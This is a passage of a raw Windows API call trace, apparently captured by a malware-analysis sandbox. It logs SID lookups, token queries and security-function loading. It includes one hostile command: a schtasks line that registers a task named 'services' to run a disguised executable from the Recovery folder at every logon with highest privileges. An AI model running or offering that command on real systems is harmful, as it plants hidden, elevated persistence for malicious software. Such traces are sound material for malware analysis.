0xee228 [0059.752] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0059.752] malloc (_Size=0x18) returned 0xeef60 [0059.752] malloc (_Size=0x18) returned 0xef020 [0059.752] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0059.752] SysStringLen (param_1="-") returned 0x1 [0059.752] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0059.752] memcpy (in: _Dst=0x34dbca, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0059.752] free (_Block=0xeef00) [0059.752] free (_Block=0xeef60) [0059.752] malloc (_Size=0x18) returned 0xeef60 [0059.752] malloc (_Size=0x18) returned 0xeef00 [0059.752] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0059.752] SysStringLen (param_1="1000") returned 0x4 [0059.753] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0059.753] memcpy (in: _Dst=0x34dabc, _Src=0x35e8d8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0059.753] free (_Block=0xef020) [0059.753] free (_Block=0xeef60) [0059.753] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0059.753] malloc (_Size=0x5e) returned 0xf0800 [0059.753] free (_Block=0xeef00) [0059.753] malloc (_Size=0x18) returned 0xeef00 [0059.753] free (_Block=0xf0800) [0059.753] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0059.754] GetLastError () returned 0x7a [0059.754] malloc (_Size=0x14) returned 0xeef60 [0059.754] malloc (_Size=0x16) returned 0xef020 [0059.754] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0059.754] malloc (_Size=0x18) returned 0xeef20 [0059.754] malloc (_Size=0x18) returned 0xef0a0 [0059.755] free (_Block=0xeef60) [0059.755] free (_Block=0xef020) [0059.755] free (_Block=0xeff30) [0059.755] free (_Block=0xef0a0) [0059.755] free (_Block=0xeef20) [0059.755] free (_Block=0xeef00) [0059.755] free (_Block=0xee200) [0059.756] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.756] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0059.756] GetLastError () returned 0x7a [0059.756] malloc (_Size=0x2c) returned 0xee240 [0059.756] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0059.756] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.756] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0059.756] malloc (_Size=0x1c) returned 0xeff30 [0059.756] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.756] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0059.756] malloc (_Size=0x18) returned 0xeef00 [0059.756] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0059.756] malloc (_Size=0x18) returned 0xeef20 [0059.756] malloc (_Size=0x18) returned 0xef0a0 [0059.756] SysStringLen (param_1="S-1-") returned 0x4 [0059.756] SysStringLen (param_1="5") returned 0x1 [0059.756] memcpy (in: _Dst=0x35ec98, _Src=0x35e998, _Size=0xa | out: _Dst=0x35ec98) returned 0x35ec98 [0059.756] memcpy (in: _Dst=0x35eca0, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35eca0) returned 0x35eca0 [0059.756] free (_Block=0xeef00) [0059.756] free (_Block=0xeef20) [0059.756] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0059.757] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0059.757] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0059.757] malloc (_Size=0x18) returned 0xeef20 [0059.757] malloc (_Size=0x18) returned 0xeef00 [0059.757] SysStringLen (param_1="S-1-5") returned 0x5 [0059.757] SysStringLen (param_1="-") returned 0x1 [0059.757] memcpy (in: _Dst=0x35e8d8, _Src=0x35ec98, _Size=0xc | out: _Dst=0x35e8d8) returned 0x35e8d8 [0059.757] memcpy (in: _Dst=0x35e8e2, _Src=0x35e998, _Size=0x4 | out: _Dst=0x35e8e2) returned 0x35e8e2 [0059.757] free (_Block=0xef0a0) [0059.757] free (_Block=0xeef20) [0059.757] malloc (_Size=0x18) returned 0xeef20 [0059.757] malloc (_Size=0x18) returned 0xef0a0 [0059.757] SysStringLen (param_1="S-1-5-") returned 0x6 [0059.757] SysStringLen (param_1="21") returned 0x2 [0059.757] memcpy (in: _Dst=0x35e998, _Src=0x35e8d8, _Size=0xe | out: _Dst=0x35e998) returned 0x35e998 [0059.757] memcpy (in: _Dst=0x35e9a4, _Src=0x35ec98, _Size=0x6 | out: _Dst=0x35e9a4) returned 0x35e9a4 [0059.757] free (_Block=0xeef00) [0059.757] free (_Block=0xeef20) [0059.757] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0059.757] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0059.757] malloc (_Size=0x18) returned 0xeef20 [0059.758] malloc (_Size=0x18) returned 0xeef00 [0059.758] SysStringLen (param_1="S-1-5-21") returned 0x8 [0059.758] SysStringLen (param_1="-") returned 0x1 [0059.758] memcpy (in: _Dst=0x35ec98, _Src=0x35e998, _Size=0x12 | out: _Dst=0x35ec98) returned 0x35ec98 [0059.758] memcpy (in: _Dst=0x35eca8, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35eca8) returned 0x35eca8 [0059.758] free (_Block=0xef0a0) [0059.758] free (_Block=0xeef20) [0059.758] malloc (_Size=0x18) returned 0xeef20 [0059.758] malloc (_Size=0x18) returned 0xef0a0 [0059.758] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0059.758] SysStringLen (param_1="4219442223") returned 0xa [0059.758] memcpy (in: _Dst=0x3382c8, _Src=0x35ec98, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0059.758] memcpy (in: _Dst=0x3382da, _Src=0x35e998, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0059.758] free (_Block=0xeef00) [0059.758] free (_Block=0xeef20) [0059.758] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0059.758] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0059.758] malloc (_Size=0x18) returned 0xeef20 [0059.758] malloc (_Size=0x18) returned 0xeef00 [0059.758] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0059.758] SysStringLen (param_1="-") returned 0x1 [0059.758] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0059.758] memcpy (in: _Dst=0x3376be, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0059.759] free (_Block=0xef0a0) [0059.759] free (_Block=0xeef20) [0059.759] malloc (_Size=0x18) returned 0xeef20 [0059.759] malloc (_Size=0x18) returned 0xef0a0 [0059.759] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0059.759] SysStringLen (param_1="4223814209") returned 0xa [0059.759] memcpy (in: _Dst=0x34db78, _Src=0x337698, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0059.759] memcpy (in: _Dst=0x34dba0, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0059.759] free (_Block=0xeef00) [0059.759] free (_Block=0xeef20) [0059.759] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0059.759] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0059.759] malloc (_Size=0x18) returned 0xeef20 [0059.759] malloc (_Size=0x18) returned 0xeef00 [0059.759] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0059.759] SysStringLen (param_1="-") returned 0x1 [0059.759] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0059.759] memcpy (in: _Dst=0x34daa4, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0059.759] free (_Block=0xef0a0) [0059.759] free (_Block=0xeef20) [0059.759] malloc (_Size=0x18) returned 0xeef20 [0059.759] malloc (_Size=0x18) returned 0xef0a0 [0059.759] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0059.760] SysStringLen (param_1="3835049652") returned 0xa [0059.760] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0059.760] memcpy (in: _Dst=0x34dbb6, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0059.760] free (_Block=0xeef00) [0059.760] free (_Block=0xeef20) [0059.760] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0059.760] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0059.760] malloc (_Size=0x18) returned 0xeef20 [0059.760] malloc (_Size=0x18) returned 0xeef00 [0059.760] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0059.760] SysStringLen (param_1="-") returned 0x1 [0059.760] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0059.760] memcpy (in: _Dst=0x34daba, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0059.760] free (_Block=0xef0a0) [0059.760] free (_Block=0xeef20) [0059.760] malloc (_Size=0x18) returned 0xeef20 [0059.760] malloc (_Size=0x18) returned 0xef0a0 [0059.760] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0059.760] SysStringLen (param_1="1000") returned 0x4 [0059.760] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0059.760] memcpy (in: _Dst=0x34dbcc, _Src=0x35ec98, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0059.760] free (_Block=0xeef00) [0059.761] free (_Block=0xeef20) [0059.761] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0059.761] malloc (_Size=0x5e) returned 0xf0800 [0059.761] free (_Block=0xef0a0) [0059.761] malloc (_Size=0x18) returned 0xef0a0 [0059.761] free (_Block=0xf0800) [0059.761] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0059.762] GetLastError () returned 0x7a [0059.762] malloc (_Size=0x14) returned 0xeef20 [0059.762] malloc (_Size=0x16) returned 0xeef00 [0059.762] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0059.762] malloc (_Size=0x18) returned 0xef020 [0059.763] malloc (_Size=0x18) returned 0xeef60 [0059.763] free (_Block=0xeef20) [0059.763] free (_Block=0xeef00) [0059.763] free (_Block=0xeff30) [0059.763] free (_Block=0xeef60) [0059.763] free (_Block=0xef020) [0059.763] free (_Block=0xef0a0) [0059.763] free (_Block=0xee240) [0059.763] malloc (_Size=0x48) returned 0xed400 [0059.764] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0059.769] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0059.770] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0059.770] malloc (_Size=0x18) returned 0xef0a0 [0059.770] CreateEnvironmentBlock () returned 0x1 [0059.801] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0059.801] malloc (_Size=0x18) returned 0xef020 [0059.802] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xef4, dwThreadId=0xef8)) returned 1 [0059.805] CloseHandle (hObject=0x2fc) returned 1 [0059.805] CloseHandle (hObject=0x248) returned 1 [0059.806] free (_Block=0xef020) [0059.806] DestroyEnvironmentBlock () returned 0x1 [0059.806] malloc (_Size=0x48) returned 0xed270 [0059.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4cc91de0, dwHighDateTime=0x1d9eb0c)) [0059.806] SetEvent (hEvent=0x1f0) returned 1 [0059.806] CloseHandle (hObject=0x2d4) returned 1 [0059.806] CloseHandle (hObject=0x2e0) returned 1 [0060.062] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0060.062] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0060.062] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0060.290] SetLastError (dwErrCode=0x0) [0060.291] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0060.291] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0060.291] SetLastError (dwErrCode=0x0) [0060.291] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0060.291] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0060.291] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0060.291] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0060.291] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0060.291] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0060.292] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0060.293] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0060.293] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0060.293] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0060.293] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0060.293] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0060.293] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0060.295] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0060.295] GetCurrentThread () returned 0xfffffffffffffffe [0060.295] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0060.295] malloc (_Size=0xd8) returned 0xf3750 [0060.295] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0060.296] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0060.297] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0060.298] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0060.299] malloc (_Size=0x18) returned 0xef040 [0060.299] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0060.299] malloc (_Size=0x48) returned 0xed2c0 [0060.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4d12e880, dwHighDateTime=0x1d9eb0c)) [0060.299] SetEvent (hEvent=0x1f0) returned 1 [0060.305] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0060.305] GetLastError () returned 0x7a [0060.305] malloc (_Size=0x2c) returned 0xee200 [0060.305] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0060.305] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0060.305] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0060.305] malloc (_Size=0x1c) returned 0xeff00 [0060.305] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0060.305] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0060.305] malloc (_Size=0x18) returned 0xef040 [0060.305] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0060.305] malloc (_Size=0x18) returned 0xef0a0 [0060.305] malloc (_Size=0x18) returned 0xef020 [0060.305] SysStringLen (param_1="S-1-") returned 0x4 [0060.305] SysStringLen (param_1="5") returned 0x1 [0060.305] memcpy (in: _Dst=0x35e908, _Src=0x381268, _Size=0xa | out: _Dst=0x35e908) returned 0x35e908 [0060.305] memcpy (in: _Dst=0x35e910, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x35e910) returned 0x35e910 [0060.306] free (_Block=0xef040) [0060.306] free (_Block=0xef0a0) [0060.306] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0060.306] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0060.306] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0060.306] malloc (_Size=0x18) returned 0xef0a0 [0060.306] malloc (_Size=0x18) returned 0xef040 [0060.306] SysStringLen (param_1="S-1-5") returned 0x5 [0060.306] SysStringLen (param_1="-") returned 0x1 [0060.306] memcpy (in: _Dst=0x35ec68, _Src=0x35e908, _Size=0xc | out: _Dst=0x35ec68) returned 0x35ec68 